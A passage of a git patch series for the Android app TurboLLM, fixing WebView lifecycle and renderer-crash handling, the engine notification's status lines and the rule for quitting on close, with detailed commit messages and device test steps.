the daemon's UI had no onRelease, so the WebView, its page and the WebView renderer behind it stayed until the garbage collector reached the WebView. Until then the page could keep running in an app nobody could see, its requests to the daemon still open, and it kept its memory next to the loaded model; a reopen made a second WebView beside it. Older bug, not from this PR: origin/main's DaemonWebView.kt has the same AndroidView with no onRelease. DaemonWebView.kt: the AndroidView's onRelease (Compose UI 1.4 and later; this build has 1.9) clears webViewRef, which the Back handler reads, stops loading and destroys the WebView. Compose calls it once the view has left the composition for good, so the WebView is never used again. With TurboLLM#287 a page going away no longer affects the daemon's work (a reply runs in the daemon whether or not a page follows it), so this only frees the memory and the renderer sooner. Behaviour change: after Back the app's WebView and its page are destroyed at once, instead of whenever the garbage collector reached them. Tests: there is no Kotlin test harness in this repo, and this needs a real WebView, so none is added. Checked by reading against the Compose UI 1.9 AndroidView contract (onRelease runs when the view leaves the composition and will not be reused; with no onReset the view is never reused). compileDebugKotlinAndroid passes. Not run on a device. Device check (a debug build): open the app, wait for the UI, then press Back with the notification on so the service and the process stay. chrome://inspect on a computer over adb lists no com.turbollm page any more, and adb shell ps -A | grep sandboxed should show the app's WebView renderer gone shortly after; before the fix the page stayed listed. Reopen the app: the UI loads as before. Send a long message, press Back, reopen after the reply has ended: the reply is complete. --- .../androidMain/kotlin/com/turbollm/app/DaemonWebView.kt | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt index 6eb8926..9376233 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt @@ -456,5 +456,14 @@ private fun TurboLLMWebView() { webViewRef = this } }, + // The WebView goes with its screen (Back finishes the activity, which disposes this composition). Nothing used + // to destroy it, so the WebView, its page and the renderer process behind it lived on until the garbage + // collector reached them. The page going away does not touch the daemon's work, so this only frees the memory + // and the renderer sooner. Loading is stopped first, then the WebView is destroyed: it is never used again. + onRelease = { webView -> + if (webViewRef === webView) webViewRef = null + webView.stopLoading() + webView.destroy() + }, ) } From 501f0acefe4e62aa63311c305f1485e9abe77e23 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 21 Oct 2026 15:50:29 +0000 Subject: [PATCH 58/80] fix(android): a crashed WebView renderer no longer closes the app The WebViewClient in DaemonWebView.kt did not override onRenderProcessGone. When the WebView's renderer process dies, which Android does to free memory, most often while the app is in the background, or when the renderer crashes, Android's default for an app that does not handle it is to kill the app's own process too. In TurboLLM that process holds the daemon, the loaded model and any download, so a renderer death took them all: the model had to be loaded again, a reply in progress was lost and a download came back paused. Older bug, not from this PR: origin/main's WebViewClient has no onRenderProcessGone either. - DaemonWebView.kt: onRenderProcessGone (Android 8+, where the callback exists) clears webViewRef and returns true, so the process lives on, and logs the event (didCrash, rendererPriorityAtExit, and whether the UI is loaded again). The dead WebView cannot be used again: DaemonWebViewScreen keys TurboLLMWebView on a count of renderer deaths, so the callback's onRendererGone() makes Compose build the whole TurboLLMWebView again. The dead WebView leaves the composition, and its onRelease, from fix(android): the WebView is destroyed when its screen goes away, destroys it. The new one comes from the same factory as on first load: the app-secret cookie, set before the load, then the UI at the daemon's URL (the daemon and its secret are those of the same process, already proven). The Back handler and the file picker launcher are built again with it. With the app in the background, Compose builds the new WebView when the app is next on screen. - RendererCrashes.kt (new, plain Kotlin) and DaemonWebViewScreen: a page that crashes its renderer each time it loads would be built and crashed again in a loop, a new renderer process each round, for as long as the app is on screen. RendererCrashes counts the crashes: at the third renderer death with didCrash true within 60 s, the screen stops building the WebView and shows RendererCrashScreen in its place, native text ("The page keeps crashing.") and a Reload button that builds it again; both are logged. Reload clears no count, so one more crash within the 60 s brings that screen back at once. A renderer killed for memory (didCrash false) is not counted and always gets a fresh WebView, as above. Back on that screen finishes the activity, as from the UI's root screen. Behaviour change: when the WebView renderer dies, the app keeps running (daemon, model, downloads) and its UI loads again from the start, instead of the whole app closing. After the third renderer crash within a minute it shows "The page keeps crashing." and a Reload button instead of loading the UI again. Tests: there is no Kotlin test harness in this repo, so none is added. The counting rule, RendererCrashes.kt, was compiled with kotlinc 2.2.20 and checked on the JVM: one crash, and two within 60 s, build again; the third within 60 s (also 0.6 s or 59.999 s after the first) shows the Reload screen, one exactly 60 s after the first builds again (the first has left the window), and crashes 31 s apart never stop it; memory kills, ten in 1 s or between crashes, are not counted, and one after the stop still builds again; after Reload one more crash within the window shows the screen again, also 61 s after the first crash when the other two are within 60 s, and two minutes later two crashes build again and the third stops. Against the behaviour before it (every death builds a fresh WebView) the nine cases that expect the Reload screen fail. The rest needs a real WebView: checked by reading against the WebViewClient.onRenderProcessGone contract (return true and drop every reference to the given WebView, which can no longer be used) and Compose's key(): a new key disposes the old content, so AndroidView's onRelease runs for the dead WebView, and runs the factory for the new one; the same holds when the Reload screen replaces it and when Reload brings it back. compileDebugKotlinAndroid passes. Not run on a device. Device check, on an emulator or a rooted phone (the renderer runs under its own isolated uid), with a download running and a model loaded: press Home, find the WebView renderer with adb shell ps -A | grep sandboxed_process, kill it (adb root, then adb shell kill ), and check that com.turbollm is still running, logcat shows "WebView renderer gone", the download keeps going and the model stays loaded, and that reopening the app shows the UI again. Repeat with the app on screen: the UI loads again at once. Before the fix the app process died with the renderer. The crash limit, with the app on screen: crash the renderer three times within a minute (adb shell kill -SEGV , with the new renderer's pid each time). logcat reports didCrash=true each time; the UI loads again after the first two, and the third leaves "The page keeps crashing." and Reload, which loads the UI again when tapped. A renderer death logcat reports with didCrash=false loads the UI again every time. --- .../kotlin/com/turbollm/app/DaemonWebView.kt | 81 ++++++++++++++++++- .../com/turbollm/app/RendererCrashes.kt | 27 +++++++ 2 files changed, 106 insertions(+), 2 deletions(-) create mode 100644 composeApp/src/androidMain/kotlin/com/turbollm/app/RendererCrashes.kt diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt index 9376233..49e620b 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt @@ -7,7 +7,10 @@ import android.content.Intent import android.content.pm.ApplicationInfo import android.net.Uri import android.os.Build +import android.os.SystemClock +import android.util.Log import android.webkit.CookieManager +import android.webkit.RenderProcessGoneDetail import android.webkit.ValueCallback import android.webkit.WebChromeClient import android.webkit.WebResourceRequest @@ -17,6 +20,7 @@ import android.webkit.WebViewClient import androidx.activity.compose.BackHandler import androidx.activity.compose.rememberLauncherForActivityResult import androidx.activity.result.contract.ActivityResultContracts +import androidx.annotation.RequiresApi import androidx.compose.foundation.layout.Arrangement import androidx.compose.foundation.layout.WindowInsets import androidx.compose.foundation.layout.Column @@ -25,12 +29,15 @@ import androidx.compose.foundation.layout.padding import androidx.compose.foundation.layout.safeDrawing import androidx.compose.foundation.layout.size import androidx.compose.foundation.layout.windowInsetsPadding +import androidx.compose.material3.Button import androidx.compose.material3.MaterialTheme import androidx.compose.material3.Surface import androidx.compose.material3.Text import androidx.compose.runtime.Composable import androidx.compose.runtime.LaunchedEffect import androidx.compose.runtime.getValue +import androidx.compose.runtime.key +import androidx.compose.runtime.mutableIntStateOf import androidx.compose.runtime.mutableStateOf import androidx.compose.runtime.remember import androidx.compose.runtime.setValue @@ -50,6 +57,8 @@ import kotlinx.coroutines.delay import kotlinx.coroutines.withContext import java.io.ByteArrayInputStream +private const val TAG = "TurboLLM" + private val DAEMON_URL = "http://127.0.0.1:$ANDROID_DAEMON_PORT/" /** The daemon UI's origin, with the trailing slash so a look-alike host cannot match. */ @@ -202,6 +211,15 @@ private fun WebView.injectSafeAreaInsets(topPx: Int, bottomPx: Int) { @Composable fun DaemonWebViewScreen() { var ready by remember { mutableStateOf(false) } + // Counts the WebView renderers that have died (TurboLLMWebView's onRenderProcessGone). Each death gives the screen + // a new key, so the whole TurboLLMWebView is built again: the dead WebView leaves the composition (its onRelease + // destroys it) and a fresh one is made with the same setup as the first. + var renderer by remember { mutableIntStateOf(0) } + // Unless the renderer keeps crashing: a page that crashes it each time it loads was built and crashed again in a + // loop. After RENDERER_CRASHES crashes within a minute (RendererCrashes; a kill for memory does not count) the + // screen shows RendererCrashScreen in its place, until the user taps Reload. + val crashes = remember { RendererCrashes() } + var crashLoop by remember { mutableStateOf(false) } // Up AND ours: the WebView below gets the app-secret cookie the moment it is created, so it waits until the // daemon has proved it holds the port (DaemonAuth), not merely until something answers there. @@ -268,16 +286,51 @@ fun DaemonWebViewScreen() { modifier = Modifier.padding(top = 20.dp), ) } + } else if (crashLoop) { + RendererCrashScreen(onReload = { + Log.i(TAG, "Reload tapped after the WebView renderer kept crashing; loading the UI again") + crashLoop = false + }) } else { - TurboLLMWebView() + key(renderer) { + TurboLLMWebView(onRendererGone = { didCrash -> + val again = crashes.rebuild(didCrash, SystemClock.elapsedRealtime()) + if (again) renderer++ else crashLoop = true + again + }) + } } } } } +/** Shown in place of the WebView once its renderer has crashed RENDERER_CRASHES times within a minute: plain native + * text, and a Reload button that builds the WebView again. The daemon, the loaded model and any download keep + * running behind it; only the page is gone. On the splash's pinned dark Surface, hence the explicit light text color + * (see the splash's own Text). */ +@Composable +private fun RendererCrashScreen(onReload: () -> Unit) { + // Back leaves the app as from the UI's root screen (TurboLLMWebView's BackHandler), finishing the activity, so it + // goes through the same close (EngineService.activityFinished) whichever screen is up. + val activity = LocalContext.current as? Activity + BackHandler(enabled = true) { activity?.finish() } + Column( + modifier = Modifier.fillMaxSize().windowInsetsPadding(WindowInsets.safeDrawing).padding(24.dp), + verticalArrangement = Arrangement.Center, + horizontalAlignment = Alignment.CenterHorizontally, + ) { + Text("The page keeps crashing.", color = Color(0xFFEDEDEC)) + Button(onClick = onReload, modifier = Modifier.padding(top = 20.dp)) { + Text("Reload") + } + } +} + +/** [onRendererGone] is told of each renderer death, and whether it was a crash; it answers whether a fresh WebView + * is built (DaemonWebViewScreen). */ @SuppressLint("SetJavaScriptEnabled") @Composable -private fun TurboLLMWebView() { +private fun TurboLLMWebView(onRendererGone: (didCrash: Boolean) -> Boolean) { var webViewRef by remember { mutableStateOf(null) } // Hardware back (QA_BUGS.md BUG-02, then QA_UX_REPORT.md F-01). Two earlier shapes of this // both failed: `enabled = webViewRef?.canGoBack() == true` was a snapshot Compose could never @@ -421,6 +474,30 @@ private fun TurboLLMWebView() { // anything else would pad twice. view.injectSafeAreaInsets(0, 0) } + + // The renderer process is gone: Android killed it for memory (most likely with the app in the + // background) or it crashed. Without this override Android's default then kills the app's own + // process as well, and that process holds the daemon, the loaded model and any download. Handled + // instead: this WebView can never be used again, so the screen drops it and builds a fresh one + // (DaemonWebViewScreen) with this same factory, set up as on first load: the app-secret cookie + // (below), then the UI. After RENDERER_CRASHES crashes within a minute it shows its Reload screen + // instead (RendererCrashes). Called on Android 8+ only, where the callback exists. + @RequiresApi(Build.VERSION_CODES.O) + override fun onRenderProcessGone(view: WebView, detail: RenderProcessGoneDetail): Boolean { + if (webViewRef === view) webViewRef = null + val next = if (onRendererGone(detail.didCrash())) { + "loading the UI again" + } else { + "it crashed $RENDERER_CRASHES times within ${RENDERER_CRASH_WINDOW_MS / 1000} s, " + + "so the UI is not loaded again until Reload" + } + Log.w( + TAG, + "WebView renderer gone (didCrash=${detail.didCrash()}, " + + "rendererPriorityAtExit=${detail.rendererPriorityAtExit()}); $next", + ) + return true + } } webChromeClient = object : WebChromeClient() { override fun onShowFileChooser( diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/RendererCrashes.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/RendererCrashes.kt new file mode 100644 index 0000000..41ea5f9 --- /dev/null +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/RendererCrashes.kt @@ -0,0 +1,27 @@ +package com.turbollm.app + +/** Renderer crashes within RENDERER_CRASH_WINDOW_MS after which the WebView is not built again by itself + * (RendererCrashes). */ +internal const val RENDERER_CRASHES = 3 + +internal const val RENDERER_CRASH_WINDOW_MS = 60_000L + +/** Decides, at each death of the WebView's renderer (DaemonWebView.kt, onRenderProcessGone), whether the screen builds + * a fresh WebView. A renderer killed for memory (didCrash false: Android reclaiming it, most often with the app in the + * background) is always followed by a fresh WebView, and is not counted: it says nothing about the page. One that + * crashed is too, unless it is the RENDERER_CRASHES-th crash within RENDERER_CRASH_WINDOW_MS. A page that crashes its + * renderer each time it loads was otherwise built, loaded and crashed again in a loop for as long as the app was on + * screen, a new renderer process each round; the screen shows its Reload screen instead. Reload clears nothing: one + * more crash inside the window brings that screen back at once. Main thread only. */ +internal class RendererCrashes { + /** When the crashes still inside the window happened (SystemClock.elapsedRealtime), oldest first. */ + private val times = ArrayDeque() + + /** One renderer death at [now] (ms): true to build a fresh WebView, false to show the Reload screen. */ + fun rebuild(didCrash: Boolean, now: Long): Boolean { + if (!didCrash) return true + while (times.isNotEmpty() && now - times.first() >= RENDERER_CRASH_WINDOW_MS) times.removeFirst() + times.addLast(now) + return times.size < RENDERER_CRASHES + } +} From 2d5f1540185f7e8ddc02320d1e1a67dfbff8b603 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 21 Oct 2026 16:03:53 +0000 Subject: [PATCH 59/80] fix(android): the notification says what is running The engine notification read "Generating" whenever the daemon reported any work: during a model load, an auto-tune and a skill being written as much as during a reply. A chat waiting for the user to allow a tool call read "Running in the background", though the reply cannot go on until the user answers in the app. And at the end of every download or import the notification read "Generating" for a moment: the poll posted it once with the download (or import) gone and the busy state not yet updated, then again with "Running in the background". The single "Generating" is older: origin/main's EngineService knows only busy or not. So is the flash at the end of an import (origin/main posts the import change before the busy one). The flash at the end of a download came with fix(android): count downloads as busy; re-post a swiped notification (758b58e) in this PR, and fix(android): the download notification shows its progress and speed kept it. EngineService.kt: - queryActivity() reads GET /api/v1/activity into a DaemonActivity: the line for what is running, from the items' kind, and whether a chat is waiting for an approval (the daemon lists those under waiting, not items, from TurboLLM#287). A model load reads "Loading a model" (named first: a chat waiting for that model is listed too), an auto-tune "Auto-tuning", a skill being written "Writing a skill" when nothing else runs, and a chat, Code run or routine "Generating". So does a kind this does not know or an item that is not an object, so new work still reads as work, and an API client's generation (engineGenerating, no item). A reply that cannot be read is idle, as before. queryBusy() is that line being set, so the wake lock and the stop follow the same items as before; a chat waiting for an approval holds no wake lock. - buildNotification shows that line in place of "Generating", and the hot variant as ". The phone is hot, so it is throttling speed". With nothing running and a chat waiting it reads "Waiting for your approval": the reply is parked on the user, not the phone, and the shade is the only place outside the app that can say so. The import and download lines still come first, with their priority, and setOnlyAlertOnce, setSilent and the idle and hot idle lines are unchanged. - The poll updates everything the notification shows (import, download lines, work line, waiting) and the busy state first, then posts once, only if what it shows changed. - PLAY-FGS-DECLARATION.md and play-store-assets/privacy-notes.md list the new lines and say the wake lock is also held for a model load, an auto-tune or a skill (TurboLLM#287 lists those as work), and not while a reply waits for an approval. Behaviour change: the notification reads "Loading a model", "Auto-tuning" or "Writing a skill" during those, and "Waiting for your approval" while a reply waits for the user to allow a tool call and nothing else runs. The end of a download or import no longer flashes "Generating". The declaration text Play reviews changes again. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the real EngineService.kt and the scripted daemon of fix(android): leaving the app no longer unloads the model, one poll per step. Before the fix every kind read "Generating" (load, tune, skill, chat, code, routine, an unknown kind, mixes), a chat waiting for an approval read "Running in the background", and the end of a download or an import posted "Generating" then "Running in the background". After it: chat, code and routine read "Generating"; load "Loading a model", also with a chat; tune "Auto-tuning", also with a chat or engineGenerating; skill "Writing a skill", also with engineGenerating, and "Generating" with a chat; an unknown kind, an item with no kind or that is not an object, and engineGenerating alone "Generating"; waiting only (one or two chats) "Waiting for your approval" with no wake lock, also when the phone is hot; waiting with a chat or engineGenerating "Generating" with the wake lock; a waiting field that is not an array, an HTTP 500 and a malformed reply idle; each work line hot as ". The phone is hot, so it is throttling speed"; an import and a download still named first. The end of a download or an import posts once ("Running in the background", or "Generating" with a reply still running). The 27 download cases of fix(android): the download notification shows its progress and speed give the same shade and wake lock at every step, with 19 posts instead of 28, and the cases of fix(android): leaving the app no longer unloads the model and fix(android): Quit writes the chat database to disk before the app exits give the same results. compileDebugKotlinAndroid passes. Not run on a device. Device check, with the notification on: load a model and pull down the shade ("Loading a model"); start an auto-tune ("Auto-tuning"); set a tool to Ask, send a message that calls it, press Home ("Waiting for your approval", and adb shell dumpsys power lists no TurboLLM:generation wake lock); let a download finish while watching the shade (no "Generating" in between). --- PLAY-FGS-DECLARATION.md | 27 +++--- .../kotlin/com/turbollm/app/EngineService.kt | 87 ++++++++++++++----- play-store-assets/privacy-notes.md | 6 +- 3 files changed, 84 insertions(+), 36 deletions(-) diff --git a/PLAY-FGS-DECLARATION.md b/PLAY-FGS-DECLARATION.md index 873f933..e66f032 100644 --- a/PLAY-FGS-DECLARATION.md +++ b/PLAY-FGS-DECLARATION.md @@ -57,18 +57,21 @@ during generation. > From the moment the app is opened, a low-importance ongoing notification titled "TurboLLM", with a **Quit** action > that stops the service, unloads the model and closes the app. On Android 14 and later, where the user can swipe > this notification away, it is posted again at once, so Quit stays reachable. Its text says what is happening: -> "Running in the background" while idle, "Generating" while a reply is being written, "Importing models" during an -> import, the progress while a model download is running or queued (the file's name as the title, or "Downloading -> models" for several, how much has arrived and how fast, and a progress bar), and, when the phone is thermally -> throttled, "Running. The phone is hot, so generation will be slower" or "Generating. The phone is hot, so it is -> throttling speed". Leaving the app never unloads the model by itself: the user does, in the app or with Quit, or -> the app's idle timer does once the model has gone unused for a while (60 minutes by default; the user can change -> it or turn it off in Settings). If the user has turned notifications off, so Quit cannot be reached, leaving the -> app (Back, or swiping it away from Recents) keeps the service only while a model is loaded (any model, an embedding -> model included) or something is being generated, imported or downloaded, and stops it once none of these is true; a -> paused or failed download does not keep it running. Turning the notification off after leaving the app does the -> same. A partial wake lock is held only while a reply is being generated or a model imported or downloaded, never -> while idle. +> "Running in the background" while idle, "Generating" while a reply is being written, "Loading a model", +> "Auto-tuning" or "Writing a skill" while the app does one of those, "Waiting for your approval" while a reply waits +> for the user to allow a tool call, "Importing models" during an import, the progress while a model download is +> running or queued (the file's name as the title, or "Downloading models" for several, how much has arrived and how +> fast, and a progress bar), and, when the phone is thermally throttled, "Running. The phone is hot, so generation +> will be slower" or what is running followed by "The phone is hot, so it is throttling speed" (for example +> "Generating. The phone is hot, so it is throttling speed"). Leaving the app never unloads the model by itself: the +> user does, in the app or with Quit, or the app's idle timer does once the model has gone unused for a while (60 +> minutes by default; the user can change it or turn it off in Settings). If the user has turned notifications off, +> so Quit cannot be reached, leaving the app (Back, or swiping it away from Recents) keeps the service only while a +> model is loaded (any model, an embedding model included) or something is being generated, imported or downloaded, +> and stops it once none of these is true; a paused or failed download does not keep it running. Turning the +> notification off after leaving the app does the same. A partial wake lock is held only while a reply is being +> generated, a model being loaded, auto-tuned, imported or downloaded, or a skill written, never while idle or while +> a reply waits for the user's approval. **Why does no other foreground service type fit?** diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index aab72d4..7ff06e3 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -46,15 +46,23 @@ private val LOADED_STATES = setOf("starting", "running", "stopping") * Type `specialUse` (Android 14+): a local inference server fits none of the fixed types, and * `dataSync` would be wrong and is capped at 6 hours on Android 15. * - * It also holds a partial wake lock, but only while there is work: a reply being generated (the - * daemon's own /api/v1/activity, the gate the UI uses), a model download (/api/v1/downloads), - * both polled over loopback, or a model import (ModelImport). So a long reply or a multi-GB - * transfer finishes with the screen off without keeping the CPU awake while idle. */ + * It also holds a partial wake lock, but only while there is work: a reply being generated, or a + * model load, an auto-tune or a skill being written (the daemon's own /api/v1/activity, the gate + * the UI uses), a model download (/api/v1/downloads), both polled over loopback, or a model + * import (ModelImport). So a long reply or a multi-GB transfer finishes with the screen off + * without keeping the CPU awake while idle, or while a chat waits for the user to answer a tool + * approval. */ class EngineService : Service() { @Volatile private var running = false private var wakeLock: PowerManager.WakeLock? = null private var thermalListener: PowerManager.OnThermalStatusChangedListener? = null @Volatile private var busy = false + /** The notification's line for what the daemon is running (DaemonActivity.work), null while nothing is. Written by + * the poll, read wherever the notification is built, like the fields below. */ + @Volatile private var work: String? = null + /** A chat waits for the user to answer a tool approval (DaemonActivity.waiting): named in the notification, not + * work, so no wake lock is held for it. */ + @Volatile private var waiting = false @Volatile private var importing = false /** What the notification shows while a model download is running or queued (downloadNotice), null while none * is. Written by the poll, read wherever the notification is built. */ @@ -278,14 +286,13 @@ class EngineService : Service() { while (running) { // A model import counts as work too: the service must neither stop nor let the CPU sleep under the copy. val importing = ModelImport.isRunning() - if (importing != this.importing) { - this.importing = importing - updateNotification() - } // So does a model download (Discover): a stopped service or a sleeping CPU would stall a multi-GB transfer. val downloads = queryDownloads() val downloading = !downloads.isNullOrEmpty() - val nowBusy = queryBusy() || importing || downloading + val activity = queryActivity() + val work = activity?.work + val waiting = activity?.waiting == true + val nowBusy = work != null || importing || downloading // The query can take seconds. Under the lock, so the service being destroyed meanwhile is seen before the // wake lock is re-taken or a removed notification is posted again. synchronized(stateLock) { @@ -301,17 +308,22 @@ class EngineService : Service() { ++downloadMisses <= DOWNLOAD_MISSES -> this.download else -> null } - if (download != this.download) { - this.download = download - updateNotification() - } + // Everything the notification shows is updated first, then it is posted once, and only if any of it + // changed. Posted after each change, it showed the state in between: "Generating" for a moment at the + // end of every download or import, with the download gone and the busy state not yet updated. + val changed = importing != this.importing || download != this.download || work != this.work || + waiting != this.waiting + this.importing = importing + this.download = download + this.work = work + this.waiting = waiting if (nowBusy != busy) { busy = nowBusy if (nowBusy) wakeLock?.acquire(30 * 60 * 1000L) else releaseWakeLock() - updateNotification() } else if (nowBusy) { wakeLock?.acquire(30 * 60 * 1000L) // renew the timeout for work that is still going } + if (changed) updateNotification() } // The service stayed for Quit when the app was closed, but the user can still turn the Engine channel off // (long-press on the notification). That removes the notification without sending its delete intent, so @@ -335,25 +347,28 @@ class EngineService : Service() { } } - /** True while a chat, Code run, routine or API generation is in flight. Any failure (daemon still booting) = idle. */ - private fun queryBusy(): Boolean = try { + /** True while a chat, Code run, routine, API generation, model load, auto-tune or skill is in flight + * (queryActivity). A chat waiting for a tool approval is not. Any failure (daemon still booting) = idle. */ + private fun queryBusy(): Boolean = queryActivity()?.work != null + + /** What the daemon is doing (GET /api/v1/activity, see DaemonActivity), or null when it could not be read. */ + private fun queryActivity(): DaemonActivity? = try { val conn = DaemonAuth.open("/api/v1/activity") conn.connectTimeout = 1000 conn.readTimeout = 2000 try { if (conn.responseCode != 200) { - false + null } else { // Parsed, not string-matched: any shape this does not recognise reads as idle, so a format change // can never pin the wake lock on with the screen off. - val json = JSONObject(conn.inputStream.bufferedReader().use { it.readText() }) - json.optBoolean("engineGenerating", false) || (json.optJSONArray("items")?.length() ?: 0) > 0 + daemonActivity(JSONObject(conn.inputStream.bufferedReader().use { it.readText() })) } } finally { conn.disconnect() } } catch (_: Exception) { - false + null } /** True while the daemon holds a model: the primary engine loading, running or still stopping (`engine.state` @@ -433,12 +448,16 @@ class EngineService : Service() { val hot = thermal >= PowerManager.THERMAL_STATUS_SEVERE // A download names its file (or the count) and shows its progress, unless an import, named first, is running. val download = this.download?.takeUnless { importing } + val work = this.work val text = when { importing -> "Importing models" download != null -> download.text - hot && busy -> "Generating. The phone is hot, so it is throttling speed" + hot && work != null -> "$work. The phone is hot, so it is throttling speed" + work != null -> work + // A reply parked on a tool approval waits for the user, in the app, not for the phone: say so. It holds + // no wake lock (see DaemonActivity). + waiting -> "Waiting for your approval" hot -> "Running. The phone is hot, so generation will be slower" - busy -> "Generating" else -> "Running in the background" } return NotificationCompat.Builder(this, CHANNEL_ID) @@ -491,3 +510,27 @@ class EngineService : Service() { } } } + +/** What GET /api/v1/activity says the daemon is doing. [work] is the notification's line for what is in progress, null + * while nothing is; [waiting] is true while a chat waits for the user to answer a tool approval, which is not work + * (the daemon lists those chats under `waiting`, not `items`). */ +private class DaemonActivity(val work: String?, val waiting: Boolean) + +/** The work line comes from the items' `kind`. A model load is named first: nothing generates on that model until it + * is loaded, and a chat waiting for it is listed too. Then an auto-tune, which runs the engine itself. A chat, Code + * run or routine is "Generating", and so is a kind this does not know, or an item that is not an object, so new work + * still reads as work. A skill being written is named only when nothing else runs. An API client's generation has no + * item, only `engineGenerating`. */ +private fun daemonActivity(json: JSONObject): DaemonActivity { + val items = json.optJSONArray("items") + val kinds = (0 until (items?.length() ?: 0)).map { items?.optJSONObject(it)?.optString("kind").orEmpty() } + val work = when { + "load" in kinds -> "Loading a model" + "tune" in kinds -> "Auto-tuning" + kinds.any { it != "skill" } -> "Generating" + kinds.isNotEmpty() -> "Writing a skill" + json.optBoolean("engineGenerating", false) -> "Generating" + else -> null + } + return DaemonActivity(work, (json.optJSONArray("waiting")?.length() ?: 0) > 0) +} diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index dfcde9e..cf2b623 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -103,8 +103,10 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti the "phone is hot" warning. On Android 13+ the app asks for it each time it starts until it is granted; Android stops showing the prompt once the user has declined it twice. The service runs either way. - - `WAKE_LOCK` — a partial wake lock, held only while a reply is generated or a model imported or - downloaded, so that work finishes with the screen off; never while idle. + - `WAKE_LOCK` — a partial wake lock, held only while a reply is being generated, a model + being loaded, auto-tuned, imported or downloaded, or a skill written, so that work finishes + with the screen off; never while idle or while a reply waits for the user to approve a tool + call. - `READ_EXTERNAL_STORAGE` and `WRITE_EXTERNAL_STORAGE`, Android 10 and older only (`maxSdkVersion="29"`, with `requestLegacyExternalStorage`) — for a model folder the user adds in shared storage, such as `/sdcard/AI`: read to scan and load its models, write because the From 69264f8cc6289a8a43ff09589cca381feecd502b Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 22 Oct 2026 14:38:36 +0000 Subject: [PATCH 60/80] fix(android): closing the app with nothing running quits it fully Closing the app (Back from its root screen, or a swipe from Recents) never ended its process. With the notification up, the service stayed in the foreground until Quit even with no model loaded and nothing running, so the daemon and its engines stayed in memory. With notifications off it stopped once nothing was loaded or running, but the process was left to Android as a cached app, the daemon still in it. And a close with something running did not keep the service: with notifications off (or the Engine channel turned off after leaving) it stopped by itself once that work ended or the daemon's idle timer unloaded the model, so the process could then be frozen or killed by Android with no Quit ever tapped. The owner's rule: a close with nothing running is a full quit, whatever the notification settings; a close with something running keeps the service until Quit, or until the app is opened again and closed with nothing running, also after that work ends. A loaded model counts as running; the daemon's idle timer still unloads it, and that does not stop the service. So do LAN access, remote access and Turbo Link peers this daemon hosts, which a quit would cut off. A routine counts while it runs; one only scheduled for later does not. Older bug: origin/main never ends the process on a close either. With the notification up it keeps the service until Quit; with notifications off it unloads the model and stops once nothing generates. In this PR, fix(android): leaving the app no longer unloads the model kept that service while a model is loaded and stopped it after, and fix(android): a notification dropped before a grant is posted again (bd61188) made a channel turned off after leaving do the same. EngineService.kt: - appClosed() asks the daemon afresh (anythingRuns) instead of the poll's view, which can be 3 s old. Something runs while a model is loaded or loading (GET /api/v1/status: engine.state starting, running or stopping, poolModels > 0, jev or laya), a server feature is on (its `serving`: lan or remote true, or linkPeers above 0, from TurboLLM's feat(api): /api/v1/status says which server features are on), work is in progress (/api/v1/activity items, a running routine among them, or engineGenerating), a reply waits for a tool approval (waiting), a download is running or queued (/api/v1/downloads; paused or failed rows do not count) or a model import runs. A query that fails, or a reply without the daemon's items or engine fields, counts as something running. A status without `serving` (an older daemon) reads as nothing served, and so does a `serving` that is not an object or whose fields are not the daemon's booleans and count (a string, a null): only the daemon's own true or count keeps the app. - A close made while the daemon gives no proof (DaemonAuth.daemonProven, which the splash waits on too) first waits for it: it asks again every 0.5 s (BOOT_POLL_MS), for about 30 s (BOOT_WAIT_MS; a proof that hangs to its 3 s deadline as that runs out stretches it to about 33.5 s) and only while the close is still the app's last (the app opened again, a newer start or Quit ends the wait, and the close then decides nothing). It is then decided on what the daemon says, with the hold and the second reading below. Mostly that is a close during start-up, before the daemon listens (a swipe from Recents during the splash, and before Android 12 Back there too), but it is also one made in the gap while a LAN toggle rebinds the daemon's port, or while the daemon is up but does not answer in time. Read at once, the daemon not up yet failed the query, which counts as something running, so a close during the splash would keep the app until Quit with nothing ever run. A daemon that has not proved itself by the end of the wait, or that proves itself and then answers badly, still counts as something running. With the model's auto-load at start on (autoLoadOnStart), that load begins only after the daemon's boot scan, so a close read right after the daemon first answers can quit before it begins: nothing ran at the close. A load begun during the hold is seen by the second reading, and the service stays. - Nothing running: the chat database is written (the flush route), the daemon is asked again, and then, unless the app was opened again since the close (an activity created or a newer start request) or Quit was tapped, the service leaves the foreground, stops and kills the process: what Quit does. The stop-and-kill tail is exit(), shared with quit(). The start-id guard now counts only the plain start (EngineService.start), so a repost (the notification swiped away) during the decision does not cancel the quit. - The flush and the kill wait until 3 s after the close (CLOSE_HOLD_MS). The WebView writes the page's localStorage (the theme, the font size, the chat to open again, the onboarding step) to disk 1 s after a change, as WebView turns on Chromium's aggressive DOM storage flushing, and nothing writes it on a kill, so a kill 0.2 s after Back would lose 